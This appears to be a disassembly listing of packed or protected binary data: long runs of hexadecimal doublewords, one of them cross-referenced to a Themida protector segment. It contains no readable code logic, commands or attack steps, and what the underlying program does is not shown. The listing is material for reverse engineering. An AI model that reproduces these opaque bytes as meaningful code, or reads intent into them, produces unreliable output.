dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 0D0B8C08Bh dd 89000007h, 0E4221585h, 0EB9D8D05h, 0FF05E6A8h, 83585BD3h dd 0E4220DBDh, 17740005h, 0D0B85350h, 89000007h, 0E4221585h dd 0DA9D8D05h, 0FF05E6A5h, 0F585BD3h, 286h, 6AC88B00h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 68B4C350h, 6ABB186Eh, 6463D181h, 0C08B4D80h dd 0D8CF8166h, 4985C68Fh, 5305E42Ah, 2E6D958Bh, 906805E4h dd 6A99395Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 2B76C356h, 60DBE2F0h, 0FF4FB6AAh dd 0E428E5B5h, 0F98B6605h, 12E9h, 0E7A7AB00h, 0BB54DF48h dd 8211E256h, 42089557h, 8D536401h, 0E4399485h, 5858905h dd 0FF05E400h, 0C9B966D0h, 618589C6h, 6A05E42Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BD4C355h, 0E413A58Dh, 4985C605h, 5705E42Ah, 4520668h dd 0FE990h, 7A390000h, 8DFA4DE2h, 6D2DE29Ah, 9452A3B7h dd 0E5B5FF67h, 6A05E428h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0D3F7C355h, 667E0B20h dd 0BC39C781h, 3994858Dh, 830F05E4h, 5, 0D26234BAh, 6AD0FF05h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 9B12C350h, 8BF8FF68h, 0E41BED95h, 0C9B58905h dd 8905E41Fh, 0E42DAD85h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 85C6630Ah dd 5E42A49h, 0C9958943h, 6805E427h, 0BC907028h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0EE8116Ah dd 80000000h, 2B8B5C44h, 0DFEB86F7h, 9DA8C8D1h, 39858936h dd 5F05E417h, 28E5B5FFh, 9D8905E4h, 5E43095h, 3994858Dh dd 8E905E4h, 0D0000000h, 0AEB82D8Fh, 0FFE88E07h, 870FD0h dd 80000000h, 8589A6D1h, 5E42751h, 76B9CB8Ah, 0C6547AF9h dd 0E42A4985h, 6E94C05h, 0D000000h, 52941F4Eh, 1CE9688Fh dd 6E8D9DAh, 0DF000000h, 10CED787h, 8DBD8B66h, 5905E420h dd 3E1958Bh, 0B5FF05E4h, 5E428E5h, 8DF98B66h, 0E4399485h dd 1FC68005h, 0EE8D0FFh, 61000000h, 0E67DEC0Eh, 22505914h dd 7F929F85h, 61F281D5h, 5A5DF75Eh, 24398589h, 10E905E4h dd 2000000h, 0F5B5073Bh, 0E3673F83h, 0D834125Bh, 897F681Bh dd 0E417998Dh, 4985C605h, 4605E42Ah, 759D09h, 146805E4h dd 8BBADE06h, 0E42CDD8Dh, 0E5B5FF05h, 6A05E428h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 7AC4C353h, 0F918CCCFh, 89F5E252h, 0E41ECDB5h, 94858D05h dd 0FF05E439h, 0DE8D0h, 1C4F0000h, 99255B1Ch, 9D0B55F8h dd 89AD1167h, 0E40FB1BDh, 85895A05h, 5E41541h, 2A4985C6h dd 0B54705E4h, 69950149h, 6805E432h, 8A0FB5E2h, 0FFCF8B66h dd 0E428E5B5h, 94858D05h, 0F05E439h, 8Dh, 6AD0FF00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 2C6BC355h, 7BFFE136h, 30A1BD8Bh, 858905E4h, 5E40C91h dd 14E9h, 32D92400h, 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh dd 0CEB1289Eh, 4985C6CAh, 4705E42Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6C35646h, 287E6E96h, 4961BA91h dd 30A18D89h, 8D8B05E4h, 5E430E1h, 0D0B5F368h, 2820F83h dd 0B2000000h, 0E5B5FF0Ah, 8A05E428h, 94858DF4h, 0E905E439h dd 6, 6A935929h, 0F38A5E3Ah, 11E8D0FFh db 3 dup(0) byte_56EA8F db 0ABh ; DATA XREF: Themida_:0053E7CEo dd 7C0A5E94h, 932BC7A4h, 78039F7Ch, 50E32E5Dh, 895F26B5h dd 0E41D0D85h, 3D8D8B05h, 6605E42Dh, 85C6D78Bh, 5E42A49h dd 52006A77h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 81234A37h, 0BD89BC85h, 5E40005h, 2890Fh dd 0A4B10000h, 0A8A368F9h, 0FF8F397h, 0B5FFD3B7h, 5E42379h dd 8BFFBF0Fh, 94858DD1h, 6005E439h, 1EF99D89h, 8D8905E4h dd 5E42889h, 6AD0FF61h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 7D5CC351h, 3B1A0516h dd 0D585893Fh, 0B05E427h, 0E4209595h, 56DA8105h, 0C62FD723h dd 0E42A4985h, 0BD8B4705h, 5E427F5h, 75DBD23h, 0F66805E4h dd 8B8728FAh, 0E431818Dh, 0E5B5FF05h, 0F505E428h, 3994858Dh dd 0E96005E4h, 0Ch, 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 4BACC2BFh dd 0D0FF612Dh, 8589E9B6h, 5E407CDh, 2A4985C6h, 0E94305E4h dd 0Bh, 7F47D9Ah, 0AA97124h, 81F5924Dh, 15F698E1h, 6EFC684Ch dd 0E981BC8Eh, 203E22A1h, 28E5B5FFh, 816605E4h, 8DAE12D9h dd 0E4399485h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 272BDBCBh, 11FD8529h dd 12E805E4h, 0E5000000h, 7BC33F5h, 0B9E1A83Ch, 65C31480h dd 0AABFB25Ah, 0CDB58906h, 5905E422h, 0BD29D0FFh, 5E4215Dh dd 0FA98589h, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0DF923FC3h, 0B98E06BEh, 85C655A7h dd 5E42A49h, 14E945h, 85AC0000h, 26FF339h, 2D1BBB47h, 60904F8Ch dd 18F69FC9h, 0F58A9CF3h, 72696968h, 0BD0BF98Eh, 5E40FA5h dd 28E5B5FFh, 8B6005E4h, 0E422E59Dh, 0FE805h, 678F0000h dd 0B4B564B3h, 75ACBFA4h, 42BFDA23h, 0C9BD295Eh, 5A05E427h dd 94858D61h, 8B05E439h, 0E41D3995h, 0CE805h, 77A60000h dd 369E634Ah, 0B4E8F1D3h, 0FF5A2629h, 6840FD0h, 89000000h dd 0E411A195h, 41858905h, 0F05E402h, 68Eh, 0B58D8B00h dd 0C605E429h, 0E42A4985h, 68F94405h, 0B8F2EC64h, 23618589h dd 0B5FF05E4h, 5E428E5h, 6ABBC781h, 858D69A4h, 5E43994h dd 66D0FFFCh, 0D649DA81h, 2A298589h, 0C88A05E4h, 2A4985C6h dd 0F4305E4h, 382h, 0FEB70F00h, 764AA768h, 0CF8B66C0h dd 28E5B5FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0BC1064C3h, 610189F2h, 8DCBBF0Fh dd 0E4399485h, 8E805h, 854E0000h, 3693A573h, 0D38A9FBEh dd 8BD0FF59h, 0E4154DBDh, 71858905h, 6A05E419h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 2211C350h, 0BE9FCh, 0EDD80000h, 20703B25h, 0CC3C0BCEh dd 0E2B966F7h, 860FBBh, 80000000h, 0E6F75ABDh, 840F0005h dd 0E8h, 0F73C858Dh, 50F805E6h, 9E9h, 6EEA8600h, 0FEF9EC0Ah dd 16A6157h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 5BC35646h, 12ED9FC6h, 2B1D0D66h, 0E42C6DBDh, 0D98D8B05h dd 6A05E421h, 13E900h, 9B760000h, 48877A4Ch, 0EAE498FFh dd 4BA77F94h, 964B61ACh, 6A006A99h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 3F02C356h dd 96DBD23h, 0BD8905E4h, 5E42191h, 275195FFh, 9D8905E4h dd 5E419A5h, 236D8589h, 6A05E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0DBD7CAC3h, 22E07A47h dd 0FC10AF5h, 687h, 0EDBD0300h, 6A05E426h, 6DB5FFFFh, 905E423h dd 0E4090185h, 0EA816605h, 95FF1A8Bh, 5E42DADh, 8E9C08Bh dd 0E1000000h, 0EF673BA2h, 83E98CC7h, 0E416A1BDh, 9750005h dd 220DBD83h, 740005E4h, 8B535019h, 7D1B8C0h, 85890000h dd 5E42215h, 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh dd 50177400h, 7D1B853h, 85890000h, 5E42215h, 0A5DA9D8Dh dd 0D3FF05E6h, 958B585Bh, 5E41F95h, 5850Fh, 81660000h dd 891041DFh, 0E426BDB5h, 0FC08B05h, 68Ah, 39950900h, 0F05E401h dd 68Eh, 0AD8D8900h, 0C605E416h, 0E42A4985h, 6A4705h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0ECA7CAC3h, 8BD04EE4h, 0E4142195h, 0F7C16805h, 0D78193C8h dd 52B68387h, 28E5B5FFh, 9D0905E4h, 5E41A59h, 3994858Dh dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 5301CBC3h, 47C031F5h, 8B93AB49h, 0E40D5D8Dh dd 8D0F5605h, 3, 5FADC280h, 0CE9D0FFh, 0A000000h, 56677CBBh dd 5A5751F6h, 505A35CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 61C35646h, 4169811Fh, 2A278FEAh, 3800Fh dd 0B70F0000h, 7D858DCBh, 0F05E6FBh, 68Dh, 39850900h, 0C705E41Ah dd 9400h, 96BA6600h, 0B70F58BCh, 7E9F9h, 0DF220000h, 0ABA4B08Eh dd 7DB58DACh, 0E905E6FBh, 5, 7A2C2FECh, 8D8B5667h, 5E4207Dh dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0FE8B93C3h, 0FB7D858Dh, 0BCBF05E6h, 831103A8h dd 0F060478h, 3985h, 0ED958B00h, 8B05E41Ch, 0E42C21BDh dd 1185C705h, 105E6FCh, 81000000h, 0D505F2EAh, 11E831h dd 0C1A0000h, 0CD759E00h, 5C390474h, 0BBAE246Eh, 8972BC90h dd 0E41BCDBDh, 0BD835A05h, 5E42C3Dh, 3F850F00h, 60000000h dd 0AEC1BE66h, 481BD8Bh, 836105E4h, 0E6FC11BDh, 850F0005h dd 26h, 0D1D8589h, 0BD8305E4h, 5E40111h, 13840F00h, 89000000h dd 0E41835BDh, 0C985C705h, 5E424h, 66000000h, 8C66FB8Bh dd 0BF0FF5DBh, 4C3F6D6h, 63A840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 7CF98AC3h dd 5E52DD3Dh, 0FE9A0F8h, 74000000h, 2F7B02DBh, 7F303145h dd 85D7E423h, 0B5898232h, 5E419D1h, 299585C7h, 5E4h, 14E90000h dd 7B000000h, 7E7FC7Ah, 4B0675A1h, 43BB4F5Dh, 9879B14Dh dd 80A8E50Eh, 0E6F767BDh, 850F0005h, 31h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 0AE9h dd 0EA01D000h, 3483BCCFh, 2929638Bh, 0E42A55BDh, 4985C605h dd 4705E42Ah, 8E9F8h, 0B1110000h, 0B9487115h, 86688C09h dd 6AE3E45Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0C2C3C351h, 28E5B5FFh, 958905E4h dd 5E42B9Dh, 3994858Dh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 9D09B8C3h, 1FF9958Bh dd 0D0FF05E4h, 21D5BD03h, 46805E4h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 3F2FC357h, 6870Fh, 95030000h, 5E407BDh, 18559D8Dh, 858905E4h dd 5E423B1h, 26759D01h, 8B5305E4h, 0FD0FFFBh, 858DD6BFh dd 5E41855h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 6CC35040h, 59FCF4F4h, 0CCEA8168h, 506EEB69h, 6840Fh dd 0EA810000h, 47F0FBC9h dd 0F719858Dh, 0F5705E6h, 295AFBBFh, 0E4222195h, 8DFC5005h dd 0E6EDEC85h, 0F8B0F05h, 0E9000000h, 0Ah, 0ADF0FC3Dh dd 0CC8E03B5h, 0E9501909h, 0Fh, 37D13491h, 6181E7A6h, 0C07BAD86h dd 0FFDB78A1h, 0E427D595h, 45950905h, 8305E413h, 0BF660CC4h dd 6AC133h, 8068h, 6A036A00h, 68006A00h, 80000000h, 0EDEC858Dh dd 0FF5005E6h, 0E40FA995h, 0FC858905h, 0C605E6F6h, 0E42A4985h dd 87684705h, 0FFC7B15Eh, 0E428E5B5h, 94858D05h, 0FF05E439h dd 0FF006AD0h, 0E6F6FCB5h, 66D0FF05h, 0E88212BAh, 7, 0FA121DDh dd 0F3EBE47h, 682h, 5BD8900h, 5A05E417h, 37D03Dh, 7F830F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0D985C350h, 977F4471h, 37BA6691h dd 0FCB5FFE9h, 6A05E6F6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 3835C352h, 0AD42E34h dd 7D958B8Ah, 0E905E432h, 13h, 0FF59CD98h, 0F4691AA3h dd 45390FD3h, 82862C5Bh, 0FFAC8886h, 0E4197195h, 86DD8005h dd 104E9h, 3E34BF00h, 0B5FF4196h, 5E6F6FCh, 2589952Bh dd 95FF05E4h, 5E41971h, 6890Fh, 0B5890000h, 5E413E9h, 9589006Ah dd 5E43149h, 8D0F006Ah, 10h, 8E857h, 0B2470000h, 777E778Ah dd 5A5FC792h, 0DE9006Ah, 7B000000h, 788E179Dh, 0F102E9BEh dd 8398B409h, 0A8B9006Ah, 6A50D985h, 52BF6600h, 8B666024h dd 0DD9AB9FBh, 6A614F3Dh, 0FEBF0F00h, 0F700858Dh, 0FE905E6h dd 65000000h, 82700D0Bh, 0E691DC40h, 0C0802570h, 6A5002BCh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A33CC357h, 4A4B0581h, 3D8589FFh, 0E905E404h dd 0Ch, 8BCF8F02h, 52AC06FCh, 0C01D2557h, 0FA995FFh, 0BD8B05E4h dd 5E420F5h, 0F7F2B966h, 0FFFF883h, 18C85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89085C53h, 0E42CE995h, 8C858D05h, 6605E6B2h, 7AE8F281h dd 8D89D0FFh, 5E4324Dh, 0BF66006Ah, 6AB652h, 1AED958Bh dd 6A05E4h, 0E8006AF8h, 0Ah, 0F463688Fh, 5DD9D91Dh, 0D38B6745h dd 6A006A5Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 668EC352h, 5790DCB1h, 0FA16E893h dd 2B59529h, 6A05E4h, 858DFCh, 0F05E6F7h, 68Fh, 39B58900h dd 5005E41Dh, 0D79BD8Bh, 95FF05E4h, 5E40FA9h, 0F883CB8Bh dd 0D6850FFFh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0BC09C350h, 9BB94A35h dd 0ED25A749h, 0BE9h, 55542100h, 0A7ACF1CFh, 0EF4114AEh dd 0F108B58Dh, 8D8905E6h, 5E40005h, 9C41858Dh, 6A05E6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 8C3707C3h, 0E2D55EF9h, 2FB3BA0Eh, 0D0FF3E7Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 61C35040h, 8A1EADBBh dd 198B0Fh, 870F0000h, 13h, 0EE9h, 24469F00h, 7A730406h dd 750A2184h, 6A0BFD91h, 4930B900h, 95FF69CFh, 5E40241h dd 0DB9BD89h, 0EE905E4h, 8A000000h, 845BDD3Ch, 0EB894CE0h dd 4D877578h, 0FC85894Dh, 6A05E6F6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8D7C355h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0B944CBC3h, 570609B9h, 0F4858D3Dh, 0E805E6F6h dd 0Dh, 98859DCh, 7FF140CDh, 0C50A113Ah, 0BFB966D0h, 8B505936h dd 0E420ED95h, 81046A05h, 67508DE2h, 0B5858D6Eh, 5005E41Ah dd 1739958Bh, 6A05E4h, 7E9h, 853F7100h, 0E6A3EBEAh, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 5A9E9FC3h, 608D9B3Dh, 6870Fh, 8C0F0000h, 0 dd 0E36F1DBAh, 16A612Ah, 0A96EAEBAh, 0FCB5FF74h, 0E905E6F6h dd 0Bh, 0DBAC85F1h, 49EBC85Ah, 0FF3050D7h, 0E42A2995h dd 18E0F05h, 0FC000000h, 1C86E9h, 0D18B6600h, 6AC08Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0D90F73C3h, 135B02FBh, 0E8B24F5Eh, 6, 41F9F901h, 0BF0F7F1Ah dd 0BD835AFEh, 5E416A1h, 83097500h, 0E4220DBDh, 19740005h dd 0C08B5350h, 7D2B8h, 15858900h, 8D05E422h, 0E6A8EB9Dh dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 7D2B8h, 15858900h dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 0C98D8B58h, 6A05E421h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 16F8C357h, 4676F38Ah, 8BC2231Dh, 0E423398Dh dd 0E2816605h, 0C08B583Eh, 7359D31h, 85C705E4h, 5E42995h dd 1, 0D717E281h, 0B8687665h, 0FFCEE4E7h, 0E40FB9B5h, 94858D05h dd 0FF05E439h, 998589D0h, 6805E423h, 0C005DBD4h, 0FB9B5FFh dd 858D05E4h, 5E43994h, 8589D0FFh, 5E430F5h, 0EBA5858Dh dd 0FF5005E6h, 0E428E5B5h, 9195FF05h, 0B05E40Ch, 8B0B74C0h dd 58858DD8h, 5005E6FBh, 858DD3FFh, 5E6FB58h, 9388366h dd 85C70A75h, 5E42AE1h, 1, 7CD95FFh, 0FF2505E4h, 83000000h dd 0A7305F8h, 168185C7h, 105E4h, 8D8B0000h, 5E42E6Dh, 38E0Fh dd 0E2800000h, 67BD80DDh, 5E6F7h, 36850Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 43C5CFC3h, 55684177h, 0E961C03Bh, 5, 94207635h, 1AE1E9FDh dd 0CF8A0000h, 2AE1BD83h, 0F0005E4h, 0CE85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0D7B183E7h, 190FEC8h, 0E4213D8Dh, 31858D05h, 6A05E6F7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9DC4C355h, 78947DFAh, 9C671254h, 97CDBF66h dd 59950350h, 6A05E432h, 0C88B6601h, 7E9006Ah, 50000000h dd 0CCACC8B5h, 6A1547h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 98C35343h, 0D88F5594h, 2F78D56Ch, 5195FF18h dd 0B05E427h, 0E4239D95h, 5B858905h, 8105E6F7h, 964F0AD9h dd 50FF6A75h, 5BB5FF59h, 5705E6F7h, 1DB98D8Bh, 0FF5F05E4h dd 0E42DAD95h, 0A5C28105h, 8D7B5540h, 0E6EB6C85h, 0BE905h dd 0FF3D0000h, 0DFDCBA7h, 0B5802022h, 0FFF55078h, 0E4243995h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8D231934h, 5E404C9h, 0EBF68589h, 2CB905E6h dd 8D2EF7FFh, 0E6EB7985h, 0ADBD0B05h, 5005E426h, 0EBF6B5FFh dd 0E98105E6h, 1A361DA8h, 0C9195FFh, 8B6605E4h, 118589F9h dd 6A05E428h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0D071C355h, 0D9BBDh, 0E7817FC9h dd 2241DC6Fh, 0EBE7858Dh, 6A05E6h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 5B6489C3h, 50B516EDh dd 58B0Fh, 81660000h, 0FFD0C4D9h, 0E6EBF6B5h, 7E805h, 3A820000h dd 17EDC206h, 9E8DEh, 6FA40000h, 8362F16Dh, 898CFA42h dd 0E404ADBDh, 0FF595F05h, 0E40C9195h, 11E905h, 0FDD70000h dd 9EB293A1h, 0DB0183F7h, 69C60D59h, 89FB5228h, 0E6EC0A85h dd 8D315205h, 5E40809h, 0C5958B5Ah, 8D05E40Fh, 0E6EBC685h dd 0D8A0F05h, 0E8000000h, 5, 12B7869Bh, 59D68BD8h, 0C98D0150h dd 0FF05E429h, 0E6EBF6B5h, 9195FF05h, 2905E40Ch, 0E4279995h dd 820F6005h, 3, 0E979DA80h, 14h, 26155461h, 7D13D067h dd 7A9F9D73h, 3B24C108h, 0F46EECD1h, 2858961h, 8B05E6ECh dd 0E41FD195h, 0B9858D05h, 6A05E6EBh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 50BAC357h dd 0FF93F680h, 0E6EBF6B5h, 65958B05h, 0FF05E402h, 0E40C9195h dd 6858905h, 8B05E6ECh, 0D4858DC8h, 8905E6EBh, 0E413D5BDh dd 8F0F5005h, 3, 80D6BF0Fh, 0B5FF16C1h, 5E6EBF6h, 319DBD89h dd 95FF05E4h, 5E40C91h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0D3C35646h, 0DAB56AB4h, 899503D1h, 8905E409h dd 0E4184585h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 66DA58E6h, 0EB88858Dh dd 0F38A05E6h, 0ECEBACB9h, 880F5021h, 5, 57E98166h, 0F6B5FF13h dd 0E805E6EBh, 13h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0A04F9C4Fh dd 8B2471B9h, 0E41DB995h, 95FF5F05h, 5E40C91h, 22F1BD29h dd 1DBF05E4h, 89685AF5h, 0E6EBFA85h, 0E1BA6605h, 97858D6Fh dd 6005E6EBh, 82F18166h, 0D1BD891Ch, 6105E42Ch, 51006A50h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 80FD2161h, 840FEADAh, 11h, 0CE9h, 13267900h, 80BB3E7Bh dd 92639E86h, 0F6B5FFBBh, 0F05E6EBh, 38Dh, 1AD98000h, 0C9195FFh dd 9DB905E4h, 891BCDE2h, 0E6EBFE85h, 0D8D0F05h, 60000000h dd 1E018589h, 816605E4h, 6111DAF6h, 10468h, 698D8B00h dd 8D05E425h, 0E6EC8E85h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 50F98DDBh dd 1DF9BD8Bh, 9D2905E4h, 5E41311h, 0ED92858Dh, 0BF0F05E6h dd 50D78BFFh, 4860Fh, 0BA660000h, 952B4E7Ch, 5E40951h dd 1D0D95FFh, 0D2B605E4h, 850FC085h, 6, 13E58D8Bh, 0BD8005E4h dd 5E6F767h, 1E850F00h, 0F000000h, 684h, 8E0F00h, 66000000h dd 3E49DF81h, 165AE9h, 0BD0B5200h, 5E40FD5h, 0E1BD835Ah dd 5E42Ah, 22850Fh, 8D030000h, 5E42B91h, 0FC11BD83h, 0F0005E6h dd 3884h, 98C0F00h, 60000000h, 0FBDC8B9h, 61EF8A18h, 0EC2B858Dh dd 0B58905E6h, 5E40D01h, 1612E9h, 818D8900h, 0E905E422h dd 1Eh, 8E9h, 325DF400h, 85D8EECAh, 16858D9Dh, 0E905E6ECh dd 6, 72DF765Ah, 6A508BEBh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 294EC350h, 0E414C9B5h dd 8E858D05h, 5105E6ECh, 0D4C08160h, 89726F7Bh, 0E425AD8Dh dd 505A6105h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 25C35141h, 66CFB70Fh, 83732AB9h, 0E42AE1BDh, 840F0005h dd 1Ah, 3AD781F9h, 8D45D4B5h, 0E6EDB485h, 0EFC68005h, 11E9h dd 0E7816600h, 858D3C3Bh, 5E6ED9Dh, 1D56DF81h, 8D505970h dd 0E6EDEC85h, 0D5805005h, 10E94Ch, 0A8460000h, 0A698615Bh dd 5BC4BBF2h, 0A531400Dh, 95FF8CB9h, 5E427D5h, 0EE9FC60h dd 0AD000000h, 2CF9004h, 1298BDE7h, 0ED3F4923h, 0C48361B2h dd 0F5B58910h, 8105E402h, 9E13A4D9h, 89C08B5Eh, 0E4001185h dd 0A1BD8305h, 5E416h, 0BD830975h, 5E4220Dh, 50197400h dd 0B8C08B53h, 7D3h, 22158589h, 9D8D05E4h, 5E6A8EBh, 585BD3FFh dd 220DBD83h, 740005E4h, 0B8535017h, 7D3h, 22158589h, 9D8D05E4h dd 5E6A5DAh, 585BD3FFh dd 97FBE281h, 0B70F6919h, 0B53152D1h, 5E42835h, 8BC08B5Ah dd 0E41A898Dh, 16BD8105h, 6F05E6ECh, 0F616572h, 8584h dd 0E5958B00h, 8D05E410h, 0E6EC8E85h, 858D5005h, 5E6EDCBh dd 0EC858D50h, 5005E6EDh, 27D595FFh, 0C48305E4h, 4985C60Ch dd 4405E42Ah, 0A3184F68h, 0E5B5FF96h, 8D05E428h, 0E4399485h dd 8BD0FF05h, 0EC858DD8h, 5005E6EDh, 858DD3FFh, 5E6EC16h dd 8E858D50h, 5005E6ECh, 2AE1BD83h, 740005E4h, 0B4858D08h dd 0EB05E6EDh, 9D858D06h, 5005E6EDh, 0EDEC858Dh, 0FF5005E6h dd 0E427D595h, 10C48305h, 2181958Bh, 95FF05E4h, 5E407CDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 1DC35242h dd 0FF25E9C5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 6ADDC355h, 8B6628C4h dd 5F883CBh, 74830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 4B2334C3h, 0AFF02E18h dd 9CD28111h, 0C71D7F73h, 0E4168185h, 105h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0FFB7E90Dh, 6F04B271h, 94C981CDh, 8D5DBC0Bh, 0E6EC4A85h dd 98D2B05h, 8905E41Fh, 0E423698Dh, 32E905h, 0BD830000h dd 5E42AE1h, 19840F00h, 52000000h, 12FDBD89h, 8D5905E4h dd 0E6EC7585h, 0C78A6005h, 0EE961h, 0D18B0000h, 0EC57858Dh dd 8D8905E6h, 5E41399h, 0EC8A8589h, 0C88B05E6h, 1F325ABAh dd 0E1BD8361h, 5E42Ah, 29850Fh, 8B560000h, 0BD835FCEh dd 5E6FC11h, 25840F00h, 0E9000000h, 13h, 0E001A639h, 8180EC63h dd 0AE518F44h, 306CC51Eh, 0E99078E0h, 12CBh, 11BD8B57h dd 5A05E432h, 46DE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0FE4F5AC0h, 97F83BEDh dd 8589FC50h, 5E416FDh, 8B66C08Bh, 0A1BD83CAh, 5E416h dd 0BD830975h, 5E4220Dh, 50197400h, 0B8C08B53h, 7D4h, 22158589h dd 9D8D05E4h, 5E6A8EBh, 585BD3FFh, 220DBD83h, 740005E4h dd 0B8535017h, 7D4h, 22158589h, 9D8D05E4h, 5E6A5DAh, 585BD3FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 93C35545h dd 53006A44h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 578263CEh, 68C08B59h, 0F003Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1BC35343h, 0F7247DCAh dd 6A4EB9h, 1FE9B529h, 6A05E4h, 0CDD98166h, 1195FF2Ah dd 0E905E428h, 0Bh, 0F65D102Bh, 25D1524Eh, 85779CD7h, 1B850FC0h dd 0F000000h, 1580h, 10E900h, 0E3870000h, 7448463Bh, 0C5CF7D1h dd 0DF4B38A2h, 85899271h, 5E6EC0Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 10C35141h, 16C5488Dh, 0CE8B661Dh dd 30F9BD89h, 6A05E4h, 10E9h, 0F452C300h, 242D03C2h, 34B14E67h dd 7BDC22B1h, 89006A71h, 0E42CB585h, 0E9006A05h, 14h, 0A8C02CDDh dd 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh, 8C0F006Ah dd 0Dh, 0CF816660h, 0B5897037h, 5E409A1h, 